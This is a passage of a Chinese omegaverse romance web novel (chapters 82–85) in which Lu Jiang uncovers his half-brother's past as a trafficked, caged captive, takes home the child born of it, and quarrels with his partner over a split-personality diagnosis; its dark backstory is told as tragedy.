卢绛双手冰凉,颤抖地紧扣在一起,用力到关节泛白,他心里隐约有了些猜测,但还需要更多有力的证据去证明自己的推测猜想。 如果他想的就是事情的真相…… 那该怎么办? “哥,我还没有说为什么一定要来这里吧?” “那你为什么要来这里?” “我和卢羡从小互换了身份,卢佑铭说是将卢羡给了我的生母抚养,在他回来之前,我根本不知道他的存在,在我知道这个真相的时候,我去找了我的生母,那里并没有卢羡生活过的痕迹。” “她死得很蹊跷,我在她卧室的床头墙壁上发现了一串陌生的手机号码,查了一下,号码的主人三年前死于一场大火,原籍黄石村人,所以我顺着这条线索找到了这里。” 第82章 第82章 见过千千万万的人,就没有见…… 霍临从他给出的两点重要的线索里, 总结了一下。 “你母亲的死和那一串号码都与卢羡有关?” “我暂时不能完全确定,但这些很巧合的串连了起来。” 霍临若有所思的点点头,“如果猜想是真的……那卢羡的回归不是为了争夺家产,怪不得上一世他会联合外人搞垮卢家。” 卢绛抿着唇满脸凝重, 不知道在想些什么。 两人吃了些水和干粮, 开始往回走。 下午四点走到了那位村医家,正巧看到他在院子里晒草药。 村医的年纪比卢绛想像得更年轻, 约摸三十来岁, 左脸的皮肤凹凸不平, 留下浅灰色的烧伤痕迹, 头发略长,一身简单的麻衣长裤。 “有事吗?”医生用带了些口音的普通话问道,见他俩身强体壮的,排除看病那就是有别的事要找他。 霍临推开院门带卢绛走了进去。 “张医生, 我们来是想找你打听一些事情。” 张觉怔愣了下, 仔细瞧了他们一眼,继续晾晒着簸箕上的草药, “你们想打听什么?” 卢绛怕犯到什么忌讳, 所以极小心的问道:“我听说您在三年前,在一场大火里救了一个小孩?” 张觉眉头紧锁, 神情冷冽的抬头看向卢绛, “你一个外乡人, 打听这些做什么?” “那您认识黄石村的李大强吗?” 张觉默了一阵, 不情愿的冷淡回了句:“李大强已经死了, 死在了那场大火里。” “李大强是做什么工作的?” “我只是个村医,我管人家是做什么工作的?” “他是不是做了一些非法的交易……” 霍临猛地拉住他,冲他摇摇头, 示意不要再说下去。 张觉果然变了脸色,将他们往门外推,“走走走,这里不欢迎你们,再不走的话我就叫人了!” 霍临挤出一个笑来,“张医生,我是霍家村的,本地人。” 听到他是本地人,张觉神情缓和了些,“你这是不懂规矩,带着个外乡人到处瞎打听什么?走!” 张觉强势的把他们往院子外推。 情急之下卢绛又追问了句:“那你认识一个叫卢羡的alpha吗?” 张觉推搡的动作戛然而止,屋内传来一阵脚步声,小小的身影看到陌生人胆怯的躲着视线来到了张觉身后。 白嫩的小手紧揪着张觉的衣摆,说的也是普通话:“大伯……” 三人的视线不约而同瞧小女孩看去,道不明的异样情绪在三人之间流转。 这小女孩第一性别是omega! Beta或许对AO性别不敏锐,特别是这么小的孩子,性征还没有显现,但是alhpa对omega有识别天性。 张觉将小女孩挡住,警惕地盯着他两,“我不认识什么卢羡,请你们两现在离开!” “张医生,这对我很重要!”卢绛不死心的露出少有的强势与绝决,“我来这里没打算一无所获的回去,卢羡,是不是曾经在黄石村呆过一段时间?” 张医生仿佛是一只应激到开启全身防御的兽,“我劝你少打听这些,对你没什么好处!” “卢羡是我哥!” “你说,什么?” “他是我哥,您不愿意多说也没关系,我只想求证一件事情,他……他是不是来过这儿?” 张医生警惕地看了眼院外,无奈叹息了口气:“你们进屋再说吧。” 对于张觉突如其来的松动,卢绛与霍临意外的交换了一个眼色,跟着他进了屋。 张觉沏了茶,坐在小案前,三人沉默了许久,盯着屋内正径自摆弄着手工积木的小女孩出神。 张觉先动手拿过杯子轻啜了口热茶,才说道:“我不认识什么卢羡,但是六年前,黄石村李大强买回了一个小孩,据说刚分化成alpha,而且等级不低。” 卢绛的心蓦然紧了下,他有了猜测,却不敢问。 张觉深吸了口气:“李大强把他关在地窖的铁笼子里,我总共也没见过几次,第一次是……是他十五岁那年,alpha进入易感期,他怎么也不肯碰那个omega,我去给他打了一针催化剂,诱导他进入发情。” 卢绛整颗心紧绞成一团,像是被撕扯着发疼,霍临眉头紧锁,有些听不下去。 张觉回忆着这些,整个人在发抖,又做了一个深呼吸,将一杯茶仰头饮尽,压下心底的慌乱。 “之后两次,都是……”张觉紧了紧拳头,“三年时间,那个omega生下三个孩子,两个omega和一个alpha,他们很值钱。” “三年前,我过去帮那个omega接生,难产大出血必须要送医院,omega死在了那场手术中,只留下一个孩子被李大强抱了回来。” “alpha似乎感应到了被他标记的omega已经回不来了,不吃不喝地睡在笼子里静静地等着死亡。” “李大强已经痛失一个omega,他不可能让剩下的alpha就这么死了,何况信息素等级还这么高,李大强便让我过去给他输液吊命……可他是真的不想活了。” “没多久,李大强为新生儿找到了买家,那个alpha快不行了,当天晚上李大强求我无论如何也要救他,我……我给他输完液,离开前留下了钥匙,如果我知道他会放火烧村……” 张觉双眼血红一拳狠狠砸在桌上,一时间也不知自己究竟是行了善还是做了孽,“那晚风势很大,火舌吞噬得极快!一整村人凌晨三点,全在大火中丧生!!除了我抢出来的……那个孩子。” “这人手段太狠了,我放他一条生路,他却拉了整个村的人赔命,这些年我一直活在噩梦和悔恨之中,或许我也应该死在那场大火里。” 卢绛恍然回过神,外边已经天黑了,一股渗入骨子里的寒意侵袭了全身。 张觉拉开了悬在梁上的小灯泡,三岁多的小丫头十分乖顺,肚子饿了很久,才上前小声说道:“大伯,小小饿。” 张觉温柔的摸了摸她的头,眼底满是绝决和割舍的狠劲,他将小小带到了卢绛面前,“你带她走吧,走了之后忘了这里的一切,不要再回来。” 卢绛看着又小又瘦弱的小女孩,连个正经的名字都没有,一个女性omega如果在这种地方长大,简直无法想像,她的出生就是一个悲剧。 他没有选择,他必须带小女孩走。 卢绛不吭一声,上前把小女孩抱在怀里,头也不回的就往外大步离去。 小女孩似乎感就会到了什么,慌张害怕的哭了起来。 “大伯,大伯……大伯!” 张觉背对着他们,站在屋内昏暗的灯光下,脚步纹丝不动也没有转头去看,只有双肩在抑制不住地颤抖。 霍临打着手电在后面给他照着山路,紧赶慢赶的追了上去,“你走慢点,晚上的山路很多坑洼。” 卢绛终于放缓了脚步,小小哭得没劲了,只是趴在他肩上有气无力的抽噎着。 “霍哥,我想马上离开这里。” “今晚?” “对,今晚!马上!这里……太恶心了!” 霍临看着他,也没什么办法,“行,回去收拾一下东西,马上走。” 他们晚上九点回到霍家村,霍临对家里人说是公司有重要的事,见卢绛抱着一个小孩上了阁楼,所有人满是警惕,盘问了霍临许久。 在霍临的再三保证之下,家人才无奈装作什么也不知道,给他们去叫了牛车,送他们下山去。 回到房间,卢绛从包里拿了饼干和巧克力给小小。 “吃这个,好吃的。” “哥哥,我想回家。” “叫叔叔。” 小小手里抓着巧克力和饼干,肚子饿极了,却没心情吃,只是无助又可怜的看着卢绛,小脸上全是泪水。 卢绛抽出湿纸巾给她擦了眼泪和鼻涕,撕开一块巧克力塞进她的嘴里。 可能是因为吃到从来没吃过的美味,让小小暂时忘记了要回家,她瞪大着水灵灵的大眼满是惊诧。 “好吃吗?” 小小用力点头。 “叔叔带你回家,以后有吃不完的好吃的。” 安抚好家人,霍临回房间开始收拾行李,并叮嘱了并:“小孩得想办法藏一藏,别下了山在镇子上被警察给拦了回来。我已经嘱咐了家里人,不会乱说的。” “好。”卢绛从小箱子里选了一件薄长外套,反穿在身前,把小孩抱在了胸口,因为小孩很瘦,再加上卢绛又很高大挺拔,不仔细看根本看不出里面藏了个小孩。 霍临笑了声:“这个可以,今晚月黑风高,咱们坐在牛车后面,人在前面赶路,啥也发现不了。” 小小很安静乖巧,吃了好吃的,眼前哄着他的大哥哥又好看又温柔,稍微一放松,就趴在他胸口睡了过去。 霍临将一个行李箱和行李袋扔上牛车,两人坐在后面的车板上,借着微弱的马灯缓缓下山。 赶车的是个六十来岁的老汉,一辈子没出去看过,连普通话都听不太懂。 他拿了钱,就本份驾着牛车,也没要搭话的意思。 霍临看了眼卢绛衣下微鼓起来的一团,问了句:“你回去怎么跟景总交待?” “实话实说。” “他未必会接受这个孩子。” “他没有义务要接受这个孩子,放心吧,有很多办法解决的。” “你还不如……直接扔给可能跟她有血缘关系的那个人。” 卢绛想了许久,摇头否定了这个提议,“我接受小小,是因为不是我的经历,所以可以坦然,小小的存在,说直白点是污点,是见不得光的,不是所有人都会宽容接受。” 霍临不由失笑,拍了下他的肩膀,叹了声:“见过千千万万的人,就没有见过有一个alpha会像你一样,温柔到骨子里。” 第83章 第83章 你的信息素好浓…… 两人连夜开车离开了西焦山, 天亮时分回到了南城。 卢绛带着孩子在霍临这边打算歇四五个小时,睡前给景凉发了条回来的消息,因为带了个小孩没有身份证件,卢绛打算自驾回帝都。 一觉醒来, 就见一双葡萄大的眼睛滴溜溜地盯着自己, 卢绛脑子宕机了几秒,才想起来所有。 “叔叔, 饿。” 卢绛撑起身看了眼时间, 已经下午两点, 睡了六个小时, 人精神了不少。 “叔叔带你去吃饭。” 小小乖巧地点头。 卢绛洗漱完出来,拿过手机看了下未读信息。 一条是景凉发来的。 【景凉:什么时候到?我去机场接你。】 【卢绛:不坐飞机,我自驾回来。】 又看了点霍临的消息,他早一个小时起床去公司了, 让他自便。 卢绛回了【起了】两字, 便带着小小出门了。 他打了车去就近的停车场取了自己的车,半路上景凉打来了视频电话。 卢绛将手机固定在车前, 点了接听。 景凉看到他在开车, 眸光一直没从他脸上挪开,“怎么突然想到自驾回来?不累吗?得开好久。” 卢绛:“出了些状况。” 景凉一阵担心, “什么状况?你怎么了?” “不是我, 是……是我带回了一个小孩, 她现在没有身份证件。” 景凉不敢苟同, 不由眉头深锁:“你从那儿带回一个孩子?为什么?” “情况有些复杂, 我回来跟你说。” “好吧,那你现在专心开车,我等你回来。” 景凉率先挂了视频电话, 坐在家里的沙发上若有所思,卢绛虽然是个心软的人,但不会这么没有分寸,想必那孩子没那么简单。 带小小吃了饭,卢绛也没耽搁,给霍临手机上发了条消息,告诉他回帝都后,就驱车导航上了高速。 两千多公里,二十几个小时车程,在途中停歇了两次,第三天清晨才到帝都。 小小靠在后座睡得很安稳,这几天的相处,让小女孩放下了很多戒心。 卢绛抱她下车,走进屋内,家里只看到阿姨正在打扫卫生,看到卢绛回来,高兴的叫了出来:“呀,卢少回来了!” 语落,看到了他怀里抱着的小孩,一脸惊诧,不由小声问了句:“这孩子是哪儿来的?” “收养的。” 阿姨又怔愣了几秒,随后又若无其事笑着上前从卢绛手里接过了孩子,“睡得可真香,景先生现在还没起。” “好。”卢绛放轻了脚步往楼上卧室走去。 他在走廊便闻到了浓郁的omega信息素,景凉睡着时的眉头是皱起来的,也许是因为身体不适,又或者做了不好的梦。 卢绛释放了一些信息素,低头吻了下他的眉心,直到他皱起来的眉头舒展,他才起身从衣帽间拿出一套居家服去浴室冲澡。 景凉醒来时听到了浴室的水声,alpha留下的信息素起到了很好的安抚作用,他不由深嗅了两口气,起身推开了浴室的门。 卢绛一头的泡沫,微眯着眼回头看去,只见景凉慵懒的倚着浴室门口冲他笑得邪性。 “啊……你醒了?” 景凉吹了声口哨,“小哥哥身材真不错。” 卢绛舒展着矫健完美的,大大方方的让他看,嘴贱的问了句:“只有身材不错吗?” 景凉视线下移瞄了眼他的,绯红从脸部蔓延到耳根和脖子。 “你慢慢洗,洗干净点。” 说着景凉用力关上了门,深吸了口气,压下一股燥热回了床上,拿过手机悠然的靠着枕头上看工作邮件。 浴室里换了新了沐浴乳,是木质松柏香,一种清浅的檀香味儿,很好闻,跟他的信息素有点类似。 卢绛想快点抱他,欻欻几下冲了泡沫,套上长裤搭上一条毛巾就出去了。 景凉正在回邮件,卢绛扑上床把他搂在怀里又亲又拱。 景凉反手抱住他的脑袋,按下,回头亲了他一下,“先别闹,我回完这封邮件。” 卢绛抱着他收敛了动作,耐性等他。 见景凉刚放下手机,就迫不及待的压了上来,扣过他的十指压在枕侧,热烈的吻住了他。 “可以吗?” 景凉有点犹豫,“大早上的,要不先吃个早饭?” 卢绛将脸埋在他的颈窝,深吸了口气,闷声道:“你的信息素好浓……” “忍一下?” 卢绛哼唧了几声,不情愿的翻身躺在了他身侧,指尖却没舍得从他腰侧挪开。 “你换沐浴乳了?” “不喜欢的话我再换回来,这两天……我太想你了。” “没有不喜欢。”因为他的一句太想你了,卢绛情浓到化不开,连看他的眼神都带着炽热。 被他这样看着景凉都要不好意思,笑容羞涩的抬手遮住了他的眼睛,转移了话题,“你带回来的小孩呢?” 卢绛任他的手掌盖在眼睛上,“阿姨在看着,她睡着了。” “嗯……”景凉呼吸有些滞涩,“怎么突然想收养孩子?” “有很多原因……” “你要是喜欢小孩,我,我还能生的。” 卢绛猛地拉下盖在眼睛上的手,嘴角抿着笑意,“嗯?” 景凉眼角都红了,轻声道:“医生只是说我有点难,不是不能。” 卢绛本想打趣他,突然心脏一阵泛疼,一脸严肃的把他拥入怀里,“我没有想过这件事,我觉得也不重要,带她回来不是因为我想要小孩,是因为她是omega,还有她可能跟我那个哥哥有些关联。” “听起来有点复杂?” “是挺复杂的,我们边吃早饭边聊。” 景凉有吃早餐的习惯,这会儿胃里空空,已经饿得双眼发昏了,赶紧洗漱了和卢绛一起下楼去吃早餐。 卢绛将自己去到西焦山的情况与景凉一一细说了个遍,景凉听得眉头都要打结。 如果推测都是真的,他那个生母也是死有余辜,连带着他的亲爹,都不是什么好东西! 但景凉怕他心里会更难受,只是沉默的听着没有发表看法。 景凉对外来的小孩没什么好感,但既然是卢绛带回来的,也不能表现得太抵触。 “那你是想把孩子留下来带在身边,还是……” “我不知道,”卢绛一脸难色,“我只是想把她带离那个环境,在这里她活得再差,也比留在那边村子强,凉哥,我是不是太自以为是了?毕竟她条活生生的人命,我带她回来却不能承担这份责任。” 景凉思考再三,说道:“放我妈那边去吧,再多请两个阿姨照看,倒也不碍什么事,而且有个孩子在身边,我妈也能多点乐趣。” 只要证实这个孩子真是卢羡的种,留在身边或许能成为关键时的一张底牌。 “你可以带这个孩子去做一个亲缘鉴定。”景凉提醒了句。 卢绛怔愣了下,随即反应了过来:“好。” 虽然景凉没有明说,但卢绛已经明白了他的心思。 吃完早饭,景凉去看了看那小丫头,眉眼间竟与卢绛还有几分神似。 不过卢家兄弟俩长得就很像来着。 因为这几天是景凉的发情期,属实不方便将小孩留在这里照看,便打电话让景妈接走了。 突然多出一个小孩,景妈私底下盘问了儿子许久,才相信这孩子跟卢绛没有直接关系。 卢绛藏在角落忐忑不安的,直到景妈把小小带走,才急忙走了出来。 “阿姨相信我了吗?” “应该是信了。” “把小小送到阿姨那里真的没关系?其实我可以请人照看她。” “真的没关系,我时常不能陪在她身边,有个小姑娘陪她逗逗乐挺好的。” 景妈是很喜欢小孩的,也很有耐性照看孩子,不然景凉也不会草率的把小姑娘丢给她照看。 卢绛免不得有些内疚,按说是他把小孩带回来的,他该负责才对。 景凉一眼看出卢绛心中所想,捏了捏他的脸,“别多想,你要是不放心就时常过去看看,你不也说了吗?她在这儿过得再怎么差,都比呆在大山里好。况且,她也不会过得差的。” “嗯。” * 一进暑假,黎花便花重金请了好几个老师来家里给卢羡上课,高中的知识对卢羡来说枯燥又难懂,大多时间他兴趣缺缺的干脆趴在桌上睡觉。 黎花为了照顾儿子的心情,点心和一日三餐变着法儿做着送过来,卢羡一副恹恹的表情,吃着下午茶。 “最近这几节课你感觉怎么样?” “听不懂。” “没,没关系,慢慢来,听不懂就让他们多教几遍,再教不会就换个老师教!” 卢羡满是烦闷:“是我自己的问题,跟老师没关系,这个大学是非上不可吗?” “我听说卢绛转到帝都学院了,他可以你也可以的,妈妈相信你,他偷走了本该属于你的人生,现在补救还来得及!” “爸爸什么时候回来?” “你想见他?” 卢羡笑得意味深长,眸光阴翳:“想啊,特别想!”想他早点死! 黎花没好气道:“应该是快回来了,七月十号,是卢绛二十岁的生日。” “看来他挺看重弟弟。”前几天他生日,卢佑铭连个电话都没有,八成是不记得的。 黎花暗抽了口气,心气难顺,“贱人的儿子也配?!” 卢羡悠然的靠进躺椅里,笑容里带着几分邪性,也不知道在想些什么。 “卢绛的存在,对你是个很大的威胁。” “是吗?”其实他对卢绛的印象很不错,至少是不讨厌的。 “你放心,一切都交给妈妈,以后我绝对不会让任何人能威胁到我儿子!” 黎花眼底满是狠戾,暗中已经有了成算。 第84章 第84章 如果你没来,我或许会装成一…… 隔天卢绛带小小去附近的医院做了亲缘鉴定, 顺便做了一下身体检查,小孩有些营养不良,开了点药拿了回去。 为了让景凉安心,卢绛又配合的去看了心医生。 对于看心医生他并不算陌生, 不过今非夕比, 年少时的自己与现在的自己相比,心素质没这么强大, 很多人生道也想不明白, 爱钻牛角尖。 治愈自己的第一道课题, 就是学会放过自己。 不再纠结为什么父母不要我? 为什么最信任的人要背弃我? 为什么越想要得到, 就越会失去? 为什么他们不解我? 为什么明明已经很努力了,还是得不到自己想要的东西? …… 他很早的时候在佛经上看过一句话,人生八苦,最苦为求不得。 他想, 既然注定得不到, 那一开始就不求好了。 心医生告诉他,他这是习得性无助。 孤僻冷漠封闭内心, 是爱无能。 他之前认为自己很惨, 后来他发现,其实很多人都这样, 并且习以为常, 不觉得自己有病。 还是一样的流程, 咨询了一些较常见的问题, 医生一边输入病历, 一边认真聆听。 但这次还是有所不同,“不知道卢先生是否介意让我给你做一次催眠?” 卢绛没有拒绝,景凉先离开了咨询室, 他躺在舒适的躺椅上,听着医生的指令,卢绛的意识很快陷入沉睡。 意识逐渐回笼时,已经过去了一个小进,他觉得有点累,除此之外没有别的感受。 医生看着手上的病历单,表情十分严峻。 “卢先生,麻烦您先出去,叫您的伴侣单独进来,我有些话想和他谈。” “好。” 景凉不安的坐在外边的椅子上,十指相抵,静等着结果。 看到卢绛开门朝自己走来,‘蹭’地一下起身迎了上去:“怎么样?” “医生让你单独进去。” 景凉心脏仿佛骤停了下,随即大步往咨询室走,正准备关门,没想到卢绛紧跟着走了进来。 “我也想听听,到底是什么情况。” 医生看他表情坚定,也没强行要求,只是叫他们过去坐。 助送了咖啡进来,缓了下紧张的气氛。 医生看似很随和像老朋友一样话着家常,让人不知不觉地放松下来。 “初步确诊,卢先生有很严重的人格分裂的情况。” 景凉心里有了准备,却还是免不了情绪的波澜,“能治吗?” 医生轻啜了口咖啡,没有直接回答这个问题,只说:“卢先生有两个人格,现在是第二人格在主导,第一人格进入了沉睡,但是刚才催眠时,第一人格短暂的清醒了,并控制了主导权。” 卢绛惊诧地愣了几秒,原来他从来没离开,只是选择沉睡而己。 “他清醒时,说了什么?”卢绛像一个清醒的旁观者问向医生。 “他有些生气,怪我唤醒了他,也极度厌世,很暴躁地不愿意多说什么。” 景凉听得心惊胆颤,“在没有人为干预的情况下,他还会醒吗?” 医生一脸凝重:“我无法保证,如果当第二人格意识虚弱时,或许第一人格会苏醒,换第二人格进入漫长的沉睡。” 景凉桌底下的双拳紧握,“有没有办法,杀死第一人格?” 卢绛猛地扭头看向景凉,却见他神情严肃坚绝。 “人脑极其复杂,分裂型人格障碍是没有办法将两个不同的人格整合成一个整体人格的,也没有杀死另一人格的说法,我们只能根据两个人格的不同性格和特点,进行两个人格调合减少生活上的冲突,卢先生这个情况,可以先开一些药配合长期的心辅导,系统的治疗一段时间看看。” 离开心诊所时,两人身上似乎还带着从空调房离开的凉意,三十多度的烈阳都无法驱散。 “我来开车吧。”景凉看似很镇静,让卢绛坐到了副驾驶位。 回去的路上景凉沉默着没说话,表情很严峻。 卢绛暗叹了口气,不安的抠着大拇指的指甲,他还是觉得自己没病,但以后是真的解释不清了。 直到十字路口的红灯,景凉停下了车。 卢绛鼓起勇气扭头看向他,“凉哥,你……你心里在想什么?” “先配合治疗一段时间吧,如果没用再想办法。” “可是,我这两年都挺正常的。” “现在正常,能保证以后都这样吗?”景凉态度很坚绝,“我爱的是现在的你,忍受不了之前那个人掌控这具身体的主导权!” “对不起……” 景凉心脏紧缩成一团,紧握住他的一只手,十指相扣,“这不是你的错,不用说对不起,我刚才情绪有些激烈,你别在意。” 卢绛埋头轻应了声,只有这件事情,他没办法控制,不管之前的那个卢绛如何,他都是后来者,如果他要拿回身体的主导权,也无可厚非。 卢绛欲言又止,神情凝重,“那个……”他想说他不想继续看医生,也不想吃药,他觉得自己没病,可当迎上景凉担忧关心的眼神时,又开不了这个口。 此时绿灯了,景凉从他身上收回了注意力,专心开车前行。 * 一周后亲缘鉴定结果出来,卢绛与小小确定存在血缘关系,基本上可以肯定了小小的身份。 卢绛看着一无所知的小小,换上了漂亮舒适的粉裙子,新请来的家庭幼师正在教她看图认字。 她显得很乖巧懂事,那种从眼里透露的小心翼翼,像是只丛林中适应生存法则的小兽,温顺弱小的外表潜藏着尖牙利爪与求生欲。 “吃点水果。”景凉拿了一盘切好的水果拼盘过来,怕他在母亲家不在自,问道:“要不去我房间?” 卢绛从趴着的桌子上坐起身,摇头,拿过叉子安静的吃水果。 景凉能感受到他这一周的情绪很低落,问他也不愿多说,这让他也不由感觉心口沉重。 “还有三天就是你的生日,想怎么过?” 卢绛明显愣了下,这才想起过生日这个事,小时候他还是很在意过生日的,后来除了自己没有人在意,他也渐渐不在意了。 “我不知道……怎么过生日。” 景凉垂眸想了会儿,又不由失笑:“估计也轮不到我操心,你爸应该会让人给你操办。” 听到这个,卢绛有气无力的又趴回了桌上,“可我只想和你呆在一起,让你给我过生日,他们太吵了。” 景凉宠溺的抬手轻抚过他额头略长的流海,“我先陪你回卢家参加你的生日宴,然后回来再给你补一次,只有我们俩,我给你过二十岁的生日。” “你会给我唱生日歌吗?” 景凉笑了声:“那当然,你生日那天想要什么我都答应你。” “老婆,你真好。”卢绛深深看着他,只注视着自己的景凉美好得不像真的,他时常在想,是不是老天可怜他,才会让他做了这样的美梦? 过份美好,就显得不真实,在此之前他深陷泥潭连想都不敢想。 怎么会有人真的爱灵魂早已破破烂烂的他? 会对他超乎寻常不求回报的好? “怎么最近总是无精打彩的?” 卢绛收回了视线,犹豫了许久,也没说出口。 他能想像得到,如果说出那些话,景凉的表情会有多失望。 “卢绛,你真的不打算跟我说说?” 卢绛深吸了口气,鼓起勇气道:“我可以不去看心医生吗?我也不想吃药,我真的不想!” 景凉面带微笑,并没有他想像中的失控或失望的表情,他显得很智而平静,“为什么?生病了就要看医生,要吃药。” “可我不想。” “你之前不会这么任性胡来的。” “就不能让我任性一次吗?” 景凉面上的笑容渐渐消失,坐在一旁沉默了许久,看起来很难过。 卢绛一下就心软了,“对不起,我是任性了,我会……” “算了。”景凉做了个深呼吸,像是下定了决心,再次看向他时眼神温柔又坚韧,捏着他的后颈示图让他放松下来,“你不想去就不去,只要你开开心心的,比什么都重要。” 他不信自己的命薄,也不信自己的运气会那么差,他就跟老天爷赌一把,赌卢绛永远都会是爱他的模样。 “真的?” “其实也不是什么大事,可能是我太悲观了。” 卢绛一阵难过,如果看医生吃药能治好,他肯定会好好配合的,但是他自己很清醒,他没有人格分裂,在这具身体里,确实存在两个不同的灵魂。 深夜,卢绛从睡梦中惊醒,他竟然梦到了一些不属于他的记忆。 关于这个卢绛的过往,在午夜梦回里,逐帧上演。 他看了眼时间,凌晨四点,天快要亮了。 景凉还在他身边熟睡,卢绛浑身被冷汗浸湿,他悄摸起身去了浴室,只开了一盏小灯。 打开盥洗池的冷水洗了把脸,彻底的清醒了。 他抬头长形的镜子里照映着他满是水珠的脸。 灯光很昏暗,立挺俊美的五官在明灭中突然变得陌生,这是卢绛第一次有这种感觉。 鬼使神差的,他冲着镜子里的人低声问了句:“喂,你在吗?” 漫长的沉默之后,卢绛长吁了口气,正准备离开,突然镜子里的人冲他咧着嘴,邪性笑了笑。 卢绛心脏漏掉了一拍,僵在了原地。 镜子里的人嘴唇开合,吐出森冷毫无情感起伏的字句,“在啊,你感觉不到吗?” “从我来到这里,你没有出现过。” 镜子里的人一脸沉思,过后,“如果你没来,我或许会装成一具尸体。” “为什么?” “啊~为什么?我啊……就是想当一具尸体,你不觉得很有趣吗?” “不觉得。” “我曾经想毁掉一切,甚至是这个世界;可我最终什么都做不了,所以我只能毁了我自己。” 第85章 第85章 景凉双手抱臂,一脸无奈的盯…… 卢绛感同身受, 一阵撕心裂肺的难受向五脏六腑蔓延开来。 “我懂的,可是……我觉得其实世界上还是有很多美好的事物,也有很多跟我们一样被抛弃的人,他们不该为任何人的错误买单。” “那为什么要让我来到这个世界?明明不被人所爱, 还是说, 不被爱的本就不配活着?” “为什么一定要从别人那里去祈求爱?如果足够强大,就不会祈求被爱, 我会选择自己想要爱的人。” 弱者只会祈求, 强者只会给予, 前者是被动, 后者是主动。 镜中的人轻轻笑了声:“你跟我不一样。” “因为我们本就是两个人,我想和你做一个约定。” “什么约定?” …… 景凉从一阵不安中醒来,身边的床位已空,浴室里有朦胧的光。 他起床推开了浴室的门, 却看到卢绛正独自面对着镜子自言自语, 表情扭曲诡异。 景凉紧张得大气都不敢出,直到卢绛意识到了背后有人, 他回头看去, 景凉抬手打开了浴室的大亮。 眼前骤然一亮让卢绛眼镜不适,抬起手挡了挡。 “你还认得出我是谁吗?” “啊?”卢绛脑子宕机了几秒。 “现在站在我面前的你……又是谁?” “我是卢绛啊!凉哥, 你怎么了?” 景凉松了口气的同时有些崩溃, 抬手烦躁地耙了把头发, “你问我怎么了?我还想知道你怎么了?!你知道你刚才在做什么吗?” “我……”卢绛一阵心虚, 不管他怎么解释, 刚才那样子落谁眼里都像个疯子。 “你说不想看病也不想吃药,我是同意了,因为我觉得你看起来确实很正常, 也许没那么严重,现在看来不是这样!你凌晨独自一个人站在镜子前自言自语了将近一个小时!” “凉哥,”卢绛无奈上前解释道:“这具身体里,确实有两个不同的灵魂,但不是你们所解的人格分裂障碍,你说过你信我,为什么我解释了那么多次,你就是不肯相信?” “你已经病得很严重了你知道吗?” “我没有病!”卢绛第一次在景凉面次露出愤怒抵触的情绪,这让他像只无头苍蝇,迷茫无助极了。 他的怒吼让景凉沉默了。 卢绛心脏撕扯似的难受,又轻声重复了一次:“我真的没有病……” 见他没有会自己,径自走了出去,卢绛有些慌了。 “凉哥!” 卢绛追了出去,看到景凉正坐在床沿拿着手机快速编辑着信息。 “凉哥?你是不是生气了?” “我重新帮你预约新的心医生,”景凉态度坚绝,“是不是上次那个让你不太满意?没关系,再换一个,要是这个也让你不舒适,那继续换,换到你想配合为止。” 卢绛夺了他的手机,盖在了床柜上,一脸冷峻严肃,“要不要看医生,你是不是应该先尊重一下我的意愿?” “你觉得你自己还有清晰的自我认知和准确的判断能力吗?” “我表现得哪里像个精神病?” “你凌晨一个人在镜子前自言自语还不像……” “这只是偶然,而且我能控制,根本不会影响正常生活!” “卢绛,”景凉双眼绯红,声色沙哑道:“如果我不爱你,根本不会管你要不要看医生,你是我的爱人,也是家人,我需要对你负责。当然,如果你不认同,那我们之间或许也没有必要再继续下去。” 景凉也没有办法了,不轻不重的话卢绛现在不会当一回事,如果他还有一点在乎他的感受,想和他继续这段感情,他就不会拒绝。 卢绛强忍着眼里的泪水,哽咽着:“我不喜欢你用这样的方式逼我做选择。” “那你教教我,我还有别的方法让你乖乖的去看心医生吗?” 泪水凝成豆大的水珠从眼眶滴落,卢绛一时间对他很失望,也觉得自己很委屈。 说好的信任,他没有做到。 在他最脆弱的时候,没有安慰他。 还强势地要逼他做选择,跟那些自以为是的父母有什么区别? 景凉看不得他的泪水,上前想替他擦眼泪,被卢绛负气的躲开。 “这次,我不会听你的!” “你什么时候有听过我的?你一向不是很有主见?” “我不看心医生!” “那你是想……” “我也不同意分开!” 景凉双手抱臂,一脸无奈的盯着他,哭得那么凶狠,却说着最霸道的话。 “那你想怎样?” “我会回卢家,让你冷静几天。”卢绛抽了几口气,拿了纸巾醒鼻涕。 “我要是一直冷静不了呢?”景凉没好气问他。 卢绛已经去了衣帽间,声音闷闷地传来:“我觉得你可以冷静。” 景凉被气笑了,“随便你吧。” 一大早,天才刚亮,阿姨就见卢绛提着一个小行李箱从楼梯下来。 阿姨疑惑的站在厨房门口,“卢少,这一大早去哪呢?还吃早饭吗?” “哦,不用做我的早饭,我回卢家住几天。” 阿姨看情形不对,正要劝两句,景凉的声音从楼梯间传来,“你让他走,用不着劝他。” 卢绛胸膛起伏不定,气呼呼的拉着行李大步离开了。 “小先生,这……” “小孩子闹脾气,随他去吧,他总会明白我是为他好。” 景凉仰头靠进沙发,扶着抽疼的额头,闭上了酸胀的眼睛。 没一会儿,卢绛开着自己的车离开了景凉的别墅。 也不知自己在沙发上坐了多久,直到阿姨叫他吃早饭。 景凉调整了下心态,端正坐在桌前开始用餐。 * 卢绛回来的时候,家里只有住家保姆在干活,黎花不在家,保姆阿姨们还是会很尊重的跟他打招呼。 毕竟女主人在家,谁也不想当面触霉头。 卢绛闷闷地应了几声,乘电梯回了自己房间,趴在床上用力抱着枕头痛哭流涕。 他都没有追出来,也没有打电话挽留,说白了就是没那么爱了。 因为昨晚一夜噩梦,凌晨四点就醒了,哭累了卢绛就睡了过去。 迷糊中听到有人敲门。 他双眼朦胧,头发睡得很乱,一副无精打彩的去开了门。 只见卢羡抱着猫站在门外,对他笑得很友好,“听说你回来了,过来看看。” 除了前两次见面,他对自己有敌意,后面两次见面,卢绛觉得他这人其实没那么难相处。 “请进。” 卢绛让他进了卧室,不由自主被他怀里的猫吸引。 “想撸?” “啊……嗯,看起来软呼呼的。” “给你。” 卢绛手里一沉,猫咪柔软的毛蹭在手心,心情瞬间就好了几分。 卢羡看他眼睛红红的,明显一副哭过的模样,心内十分震惊,怎么看都是个冷脸酷哥,受了委屈真的会哭吗? 会哭的人,真好。 连这样的情绪表达都让他感到嫉妒又羡慕。 “你这次回来,是为了后天的生日宴?” 虽然并不是,但卢绛也不想说是因为和景凉吵架才回来的,所以只是顺着应了声。 卢羡笑得意义不明,“你应该不会喜欢这样的宴会,为什么不拒绝?” “虽然不喜欢,但举办也没坏处。” “是这样?” “嗯。” 卢羡默了会儿,看向他怀里的猫,说道:“它跟你很亲,你要是喜欢,我就把它给你了。” 